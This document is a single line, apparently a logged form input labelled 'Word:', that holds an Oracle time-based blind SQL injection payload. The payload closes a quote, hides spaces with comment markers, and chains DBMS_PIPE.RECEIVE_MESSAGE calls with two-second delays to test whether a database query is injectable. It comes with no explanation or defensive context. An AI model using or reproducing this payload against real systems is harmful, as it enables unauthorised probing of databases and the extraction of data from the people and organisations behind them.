Word: by'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',2)='g'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('a',2)='a'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('e',2)='e'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('s',2)='s